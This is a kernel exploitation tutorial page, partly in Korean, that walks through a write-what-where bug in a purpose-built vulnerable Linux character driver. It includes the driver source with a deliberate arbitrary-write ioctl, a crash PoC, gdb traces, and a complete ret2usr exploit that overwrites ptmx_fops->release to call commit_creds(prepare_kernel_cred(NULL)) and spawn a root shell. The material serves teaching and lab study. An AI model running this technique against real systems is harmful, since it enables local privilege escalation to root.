Excuse the ads! We need some help to keep our site up.

List

Write-what-where(Arbitrary Memory Overwrite) (fear.ret2usr)

Write-what-where(Arbitrary Memory Overwrite)



Return-to-user (ret2usr)

Example

Source code of module

#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
    
#include "chardev.h"
MODULE_LICENSE("Dual BSD/GPL");
    
#define DRIVER_NAME "chardev"
        
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
   
static int     chardev_open(struct inode *, struct file *);
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
   
struct file_operations s_chardev_fops = {
    .open    = chardev_open,
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .unlocked_ioctl = chardev_ioctl,
};
   
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    int minor = 0;
    dev_t dev;
    
    printk("The chardev_init() function has been called.");
        
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
    
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &s_chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
    
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
    
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
    
    device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
    return 0;
}
    
static void chardev_exit(void)
{
    int minor = 0;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
        
    printk("The chardev_exit() function has been called.");
   
    device_destroy(chardev_class, MKDEV(chardev_major, minor));
    
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
   
static int chardev_open(struct inode *inode, struct file *file)
{
    printk("The chardev_open() function has been called.");
    return 0;
}
    
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_close() function has been called.");
    return 0;
}
    
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_write() function has been called.");
    return count;
}
    
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_read() function has been called.");
    return count;
}
    
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    struct ioctl_www_arg *para;
    printk("The chardev_ioctl() function has been called.");
    
    switch (cmd) {
        case SET_DATA:
            printk("SET_DATA\n");
            if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
                return -EFAULT;
            }
        printk("info.size : %ld, info.buf : %s",info.size, info.buf);
            break;
        case GET_DATA:
            printk("GET_DATA\n");
            if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
                return -EFAULT;
            }
            break;
        case GIVE_ME_ROOT:
            printk("GIVE_ME_ROOT\n");
            commit_creds(prepare_kernel_cred(NULL));
            return 0;
        case IOCTL_WWW:
            para = (struct ioctl_www_arg *)arg;
            *(para->ptr) = para->value;
            return 0;
         
        default:
            printk(KERN_WARNING "unsupported command %d\n", cmd);
    
        return -EFAULT;
    }
    return 0;
}
   
module_init(chardev_init);
module_exit(chardev_exit);
#ifndef CHAR_DEV_H_
#define CHAR_DEV_H_
#include <linux/ioctl.h>
   
struct ioctl_info{
       unsigned long size;
       char buf[128];
};

struct ioctl_www_arg {
    unsigned long *ptr;
    unsigned long value;
};

#define             IOCTL_MAGIC         'G'
#define             SET_DATA            _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
#define             GET_DATA            _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
#define             GIVE_ME_ROOT        _IO(IOCTL_MAGIC, 0)
#define             IOCTL_WWW           _IOR(IOCTL_MAGIC, 0, struct ioctl_aaw_arg *)
#endif
obj-m = chardev.o
   
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
   
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$

Proof of Concept

PoC code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"

int main()
{
    int fd;
    int ret_val;
    unsigned long *ptmx_fops;
    struct ioctl_www_arg arg;

    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        exit(1);
    }

    arg.ptr = 0x4141414141414141;
    arg.value = 0x4242424242424242;

    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        exit(1);
    }

    close(fd);
}
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict = 0
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep chardev
ffffffffc01c4000 t chardev_release	[chardev]
ffffffffc01c4020 t chardev_open	[chardev]
ffffffffc01c4040 t chardev_write	[chardev]
ffffffffc01c4070 t chardev_read	[chardev]
ffffffffc01c40a0 t chardev_ioctl	[chardev]
ffffffffc01c6480 b info	[chardev]
ffffffffc01c41c0 t chardev_init	[chardev]
ffffffffc01c6520 b chardev_cdev	[chardev]
ffffffffc01c6588 b chardev_major	[chardev]
ffffffffc01c6480 b __key.25755	[chardev]
ffffffffc01c6508 b chardev_class	[chardev]
ffffffffc01c4300 t chardev_exit	[chardev]
ffffffffc01c6100 d __this_module	[chardev]
ffffffffc01c4300 t cleanup_module	[chardev]
ffffffffc01c41c0 t init_module	[chardev]
ffffffffc01c6000 d s_chardev_fops	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ 

Debug

0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory.
(gdb) b *0xffffffffc01c40a0
Breakpoint 1 at 0xffffffffc01c40a0
(gdb) c
Continuing.
Breakpoint 1, 0xffffffffc01e10a0 in ?? ()
(gdb) x/40i $rip
=> 0xffffffffc01e10a0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01e10a5:	push   rbp
   0xffffffffc01e10a6:	xor    eax,eax
   0xffffffffc01e10a8:	mov    rdi,0xffffffffc01e20e8
   0xffffffffc01e10af:	mov    rbp,rsp
   0xffffffffc01e10b2:	push   r12
   0xffffffffc01e10b4:	mov    r12,rdx
   0xffffffffc01e10b7:	push   rbx
   0xffffffffc01e10b8:	mov    ebx,esi
   0xffffffffc01e10ba:	call   0xffffffff81180972 <printk>
   0xffffffffc01e10bf:	cmp    ebx,0x40884702
   0xffffffffc01e10c5:	je     0xffffffffc01e116d
   0xffffffffc01e10cb:	jbe    0xffffffffc01e1125
   0xffffffffc01e10cd:	cmp    ebx,0x80084700
   0xffffffffc01e10d3:	je     0xffffffffc01e1112
   0xffffffffc01e10d5:	cmp    ebx,0x80884703
   0xffffffffc01e10db:	jne    0xffffffffc01e1151
   0xffffffffc01e10dd:	mov    rdi,0xffffffffc01e219f
   0xffffffffc01e10e4:	xor    eax,eax
   0xffffffffc01e10e6:	call   0xffffffff81180972 <printk>
   0xffffffffc01e10eb:	mov    edx,0x88
   0xffffffffc01e10f0:	mov    rsi,0xffffffffc01e3480
   0xffffffffc01e10f7:	mov    rdi,r12
   0xffffffffc01e10fa:	call   0xffffffff813e09e0 <_copy_to_user>
   0xffffffffc01e10ff:	cmp    rax,0x1
   0xffffffffc01e1103:	sbb    rax,rax
   0xffffffffc01e1106:	not    rax
   0xffffffffc01e1109:	and    rax,0xfffffffffffffff2
   0xffffffffc01e110d:	pop    rbx
   0xffffffffc01e110e:	pop    r12
   0xffffffffc01e1110:	pop    rbp
   0xffffffffc01e1111:	ret    
   0xffffffffc01e1112:	mov    rax,QWORD PTR [r12]
   0xffffffffc01e1116:	mov    rdx,QWORD PTR [r12+0x8]
   0xffffffffc01e111b:	mov    QWORD PTR [rax],rdx
   0xffffffffc01e111e:	xor    eax,eax
   0xffffffffc01e1120:	pop    rbx
   0xffffffffc01e1121:	pop    r12
   0xffffffffc01e1123:	pop    rbp
   0xffffffffc01e1124:	ret    
(gdb) b *0xffffffffc01e10bf
Breakpoint 2 at 0xffffffffc01e10bf
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01e10bf in ?? ()
(gdb) i r ebx
ebx            0x80084700          -2146941184
(gdb) b *0xffffffffc01e10cd
Breakpoint 3 at 0xffffffffc01e10cd
(gdb) c
Continuing.

Breakpoint 3, 0xffffffffc01e10cd in ?? ()
(gdb) i r ebx
ebx            0x80084700          -2146941184
(gdb) x/2i $rip
=> 0xffffffffc01e10cd:	cmp    ebx,0x80084700
   0xffffffffc01e10d3:	je     0xffffffffc01e1112
(gdb)
(gdb) si
0xffffffffc01e10d3 in ?? ()
(gdb) si
0xffffffffc01e1112 in ?? ()
(gdb) x/8i $rip
=> 0xffffffffc01e1112:	mov    rax,QWORD PTR [r12]
   0xffffffffc01e1116:	mov    rdx,QWORD PTR [r12+0x8]
   0xffffffffc01e111b:	mov    QWORD PTR [rax],rdx
   0xffffffffc01e111e:	xor    eax,eax
   0xffffffffc01e1120:	pop    rbx
   0xffffffffc01e1121:	pop    r12
   0xffffffffc01e1123:	pop    rbp
   0xffffffffc01e1124:	ret    
(gdb) i r r12
r12            0x7ffd67d79360      140726345634656
(gdb) x/2gx 0x7ffd67d79360
0x7ffd67d79360:	0x4141414141414141	0x4242424242424242
(gdb) b *0xffffffffc01e111b
Breakpoint 4 at 0xffffffffc01e111b
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01e111b in ?? ()
(gdb) i r rax
rax            0x4141414141414141  4702111234474983745
(gdb) i r rdx
rdx            0x4242424242424242  4774451407313060418
(gdb) si
0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981
981	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory.
(gdb)

Area to overwrite

lazenca0x0@ubuntu:~/Kernel/Exploit/www$ find /dev/ -type c -perm -6 2> /dev/null
/dev/chardev0
/dev/net/tun
/dev/ptmx
/dev/fuse
/dev/tty
/dev/urandom
/dev/random
/dev/full
/dev/zero
/dev/null
lazenca0x0@ubuntu:~/Kernel/Exploit/www$
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tun_fops
ffffffff818a74a0 r tun_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops
ffffffff81fe3440 b ptmx_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep fuse_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tty_fops
ffffffff81870dc0 r hung_up_tty_fops
ffffffff81870f80 r tty_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep urandom_fops
ffffffff81875c60 R urandom_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep random_fops
ffffffff81875c60 R urandom_fops
ffffffff81875d40 R random_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep full_fops
ffffffff81875780 r full_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep zero_fops
ffffffff81875860 r zero_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep null_fops
ffffffff81875a20 r null_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$

ptmx

  • TTY (Tele Type Writer) : 콘솔 및 터미널 환경
  • PTY (Pseudo-Terminal) : 가상 터미널 환경
  • PTS (Pseudo-Terminal Slave) : 원격 터미널 환경
static struct file_operations ptmx_fops;

static void __init unix98_pty_init(void)
{
	ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
			TTY_DRIVER_RESET_TERMIOS |
			TTY_DRIVER_REAL_RAW |
			TTY_DRIVER_DYNAMIC_DEV |
			TTY_DRIVER_DEVPTS_MEM |
			TTY_DRIVER_DYNAMIC_ALLOC);
	if (IS_ERR(ptm_driver))
		panic("Couldn't allocate Unix98 ptm driver");
	pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
			TTY_DRIVER_RESET_TERMIOS |
			TTY_DRIVER_REAL_RAW |
			TTY_DRIVER_DYNAMIC_DEV |
			TTY_DRIVER_DEVPTS_MEM |
			TTY_DRIVER_DYNAMIC_ALLOC);
	if (IS_ERR(pts_driver))
		panic("Couldn't allocate Unix98 pts driver");

	ptm_driver->driver_name = "pty_master";
	ptm_driver->name = "ptm";
	ptm_driver->major = UNIX98_PTY_MASTER_MAJOR;
	ptm_driver->minor_start = 0;
	ptm_driver->type = TTY_DRIVER_TYPE_PTY;
	ptm_driver->subtype = PTY_TYPE_MASTER;
	ptm_driver->init_termios = tty_std_termios;
	ptm_driver->init_termios.c_iflag = 0;
	ptm_driver->init_termios.c_oflag = 0;
	ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
	ptm_driver->init_termios.c_lflag = 0;
	ptm_driver->init_termios.c_ispeed = 38400;
	ptm_driver->init_termios.c_ospeed = 38400;
	ptm_driver->other = pts_driver;
	tty_set_operations(ptm_driver, &ptm_unix98_ops);

	pts_driver->driver_name = "pty_slave";
	pts_driver->name = "pts";
	pts_driver->major = UNIX98_PTY_SLAVE_MAJOR;
	pts_driver->minor_start = 0;
	pts_driver->type = TTY_DRIVER_TYPE_PTY;
	pts_driver->subtype = PTY_TYPE_SLAVE;
	pts_driver->init_termios = tty_std_termios;
	pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
	pts_driver->init_termios.c_ispeed = 38400;
	pts_driver->init_termios.c_ospeed = 38400;
	pts_driver->other = ptm_driver;
	tty_set_operations(pts_driver, &pty_unix98_ops);

	if (tty_register_driver(ptm_driver))
		panic("Couldn't register Unix98 ptm driver");
	if (tty_register_driver(pts_driver))
		panic("Couldn't register Unix98 pts driver");

	/* Now create the /dev/ptmx special device */
	tty_default_fops(&ptmx_fops);
	ptmx_fops.open = ptmx_open;

	cdev_init(&ptmx_cdev, &ptmx_fops);
	if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||
	    register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0)
		panic("Couldn't register /dev/ptmx driver");
	device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx");
}
https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/pty.c#L807
static const struct file_operations tun_fops = {
	.owner	= THIS_MODULE,
	.llseek = no_llseek,
...
static const struct file_operations tty_fops = {
	.llseek		= no_llseek,
	.read		= tty_read,
...
const struct file_operations urandom_fops = {
	.read  = urandom_read,
	.write = random_write,
...

struct file_operations

struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
	ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
	int (*iterate) (struct file *, struct dir_context *);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *, fl_owner_t id);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, loff_t, loff_t, int datasync);
	int (*aio_fsync) (struct kiocb *, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (struct file *, int, struct file_lock *);
	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
	int (*setlease)(struct file *, long, struct file_lock **, void **);
	long (*fallocate)(struct file *file, int mode, loff_t offset,
			  loff_t len);
	void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
	unsigned (*mmap_capabilities)(struct file *);
#endif
};

https://elixir.bootlin.com/linux/v4.4/source/include/linux/fs.h#L1600

Exploit method

  • 권한상승을 위한 ret2usr 코드를 구현합니다.
    • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
    • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
  • 구현된 ret2usr 코드의 시작 주소를 ptmx_fops→release 영역에 덮어씁니다.
  • system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
  • prepare_kernel_cred() 함수의 주소
  • commit_creds() 함수의 주소
  • ptmx_fops→release 영역 주소

Addresses in the "ptmx_fops→release" area

lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops
ffffffff81fe3440 b ptmx_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
(gdb) p *(struct file_operations*) 0xffffffff81fe3440
$1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff811fcd60 <no_llseek>, read = 0xffffffff814c5190 <tty_read>, write = 0xffffffff814c48a0 <tty_write>, 
  read_iter = 0x0 <irq_stack_union>, write_iter = 0x0 <irq_stack_union>, iterate = 0x0 <irq_stack_union>, poll = 0xffffffff814c5340 <tty_poll>, 
  unlocked_ioctl = 0xffffffff814c5e40 <tty_ioctl>, compat_ioctl = 0xffffffff814c5280 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>, open = 0xffffffff814cf860 <ptmx_open>, 
  flush = 0x0 <irq_stack_union>, release = 0xffffffff814c55c0 <tty_release>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, 
  fasync = 0xffffffff814c5140 <tty_fasync>, lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>, 
  check_flags = 0x0 <irq_stack_union>, flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>, 
  fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>}
(gdb) p (*(struct file_operations*) 0xffffffff81fe3440).release
$2 = (int (*)(struct inode *, struct file *)) 0xffffffff814c55c0 <tty_release>
(gdb) p &(*(struct file_operations*) 0xffffffff81fe3440).release
$3 = (int (**)(struct inode *, struct file *)) 0xffffffff81fe34a8 <ptmx_fops+104>
(gdb) p/d 0xffffffff81fe34a8 - 0xffffffff81fe3440
$4 = 104
(gdb) 

ret2usr

void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}

Exploit code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"
 
#define DEVICE_FILE_NAME "/dev/chardev0"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;
 
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
 
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
	    addr = NULL;
	}
    }
    fclose(fp);
    return addr;
}
 
void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}
 
int main()
{
    int fd;
    int ret_val;
    void *ptmx_fops;
    struct ioctl_www_arg arg;
 
    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("commit_creds = %p\n", commit_creds);

  
    //Find the address of "static struct file_operations ptmx_fops"
    ptmx_fops = kallsym_getaddr("ptmx_fops");
    printf("ptmx_fops = %p\n", ptmx_fops);
    ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
 
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        return 0;
    }

    //Overwrite the "ptmx_fops → release" area 
    arg.ptr = ptmx_fops_release;
    arg.value = (unsigned long)get_root;
 
    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        return 0;
    }
 
    close(fd);
 
    //open /dev/ptmx and call ptmx_fops->release() via close()
    fd = open("/dev/ptmx", 0);
    close(fd);
 
    printf("getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ ./www
[+] prepare_kernel_cred = 0xffffffff8109da40
[+] commit_creds = 0xffffffff8109d760
[+] ptmx_fops = 0xffffffff81fe3440
[+] getuid() = 0
# id
uid=0(root) gid=0(root) groups=0(root)
# 

References